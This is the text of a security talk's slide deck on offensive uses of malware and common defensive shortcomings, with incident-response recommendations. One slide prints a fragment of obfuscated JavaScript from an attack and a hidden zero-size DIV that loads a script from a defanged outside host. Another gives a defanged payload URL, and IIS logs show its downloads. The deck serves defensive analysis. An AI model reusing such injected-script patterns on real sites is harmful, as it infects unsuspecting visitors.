The document discusses the offensive usage of malware and outlines various methods of attack, emphasizing the complexity and sophistication of modern malware frameworks used by nation-states. It also identifies common defensive shortcomings within organizations and recommends strategies for better preparedness against such threats. The presentation concludes with a call to action for improving forensic readiness and incident response capabilities.

1. Malware
Offensive usage and how to defend
Christiaan Beek
McAfee Professional Services

2. Agenda
• $whoami
• Examples
• Offensive ways of using malware
• What goes wrong
• Defense recommendations
• Final thoughts

3. > whoami
• Christiaan Beek
• Practice lead IR & Forensics EMEA
• Developer/Instructor MFIRE
• Training CERTS

4. A Little Background
Foundstone Services – McAfee Strategic Security

5. OFFENSE

6. Offensive usage of malware
ENERGY & INFRA Financial MEDICAL MOBILE Defense

7. Offensive usage of malware
Why malware?
• low profile during preparation
• many options to spread / infect
• many ways to hide
• self destruct mechanism
• many ways to transfer data to

8. Offensive usage of malware
• More and more discovery of malware frameworks
• Multiple modules /components
• Written by pro’s – sponsored by nations

9. Offensive - What’s Different?
Development Delivery Detection Command & Control Intent
• Nation-States • Zero day • Digitally signed • Central • Surveillance
propagation with command
• Truly compromised • Disrupt /
customized • Multi-vectored: certificates • Modular Destroy
payloads Blue tooth, payloads
USB, network • Outbound ex-
filtration
masking

10. Stages of an attack:

11. Stages of an attack:

12. Stages of an attack:

13. Stages of an attack:

14. Stages of an attack – first script
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1)WdkimKX2=-1;}Hwqq6="0";delete Hwqq6;try{Hwqq6+="0"+"0";}catch(e){yltBe1=unescape;mYSdOxl6 =
eval;}CwefLf0=“S1+ADphS1(hmacmx8)))^MqiovxR7);}try{new function(){EmIcO0(EJiD6);}}catch(e){try{new
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<DIV style="VISIBILITY: hidden; WIDTH: 0px; HEIGHT: 0px"><script language="javascript"
src="hxxp://count2.51yes……….. 31931&logo=12" charset="gb2312"></script></DIV>

15. Final destination?:
hxxp://222.7x.xx.xx.xx/x.exe

16. Inner working?

17. IIS logs on hacked ‘landing’ server:
9/23/2012 4:06:16 70.49.x.x W3SVC1 80 GET /x.exe
9/23/2012 4:07:46 99.23.x.x W3SVC1 80 GET /x.exe
9/23/2012 4:08:25 93.80.x.x W3SVC1 80 GET /x.exe
9/23/2012 4:14:48 208.91.x.x W3SVC1 80 GET /x.exe
9/23/2012 4:36:05 95.27.x.x W3SVC1 80 GET /pay/x.exe
9/23/2012 5:15:23 208.91.x.x W3SVC1 80 GET /x.exe
9/23/2012 5:29:27 74.125.x.x W3SVC1 80 GET /x.exe
Dial 80 Or 443

18. War story

19. Future usage of malware

20. Future scenario’s

21. Future scenario’s or real...?

22. Future scenario’s

23. Future scenario’s

24. Future scenario’s

25. Future scenario’s

26. Future scenario’s

27. Future scenario’s

28. What goes wrong regarding Defense?
An Intel company

29. Problem #1
An Intel company
Many solutions but how to use them?
Forensic Readiness?

30. Problem #2
An Intel company
No visibility on the network
No correlation of events

31. Problem #3
An Intel company
Lack of skilled,
experienced and
dedicated people

32. Problem #4
An Intel company
No Incident Response procedures
No Dry-run exercise

33. Problem #5
An Intel company
The attack came
from…..

34. Problem #6
An Intel company
Destroying evidence

35. Problem #7
An Intel company
who is the system owner?
who will take action?
who is allowed to take
decisions?

36. An Intel company
Defense Strategies

37. The Big “Threat” Picture
Threats Threats
All Threats All Known Core
AntiVirus AntiVirus
Threats
Sees Protects

38. The “Core” Security Problem
• “Unauthorized” Execution End Users = Data
– Payload/attachment/link
– Network Identity
Thieves Spammers
– Privilege Bot Herder
• “Authorized” Execution
– Insiders misuse of privilege
Vulnerability
Tool Discoverers
Developers
100101010010110
Malware Developers

39. Defense-in-depth

40. Worthless without:

41. Final thoughts......
An Intel company
- Incidents happen
- Is forensic & malware readiness on your agenda?
- What needs to be changed in your process?
- Is your {army-unit/company/agency/etc} prepared?
- Did you separate critical infrastructures?
- Can we help you?

42. Thank you! An Intel company
Keep in touch:
Email: Christiaan_Beek@McAfee dot com
Twitter: @FSEMEA @Foundstone @ChristaanBeek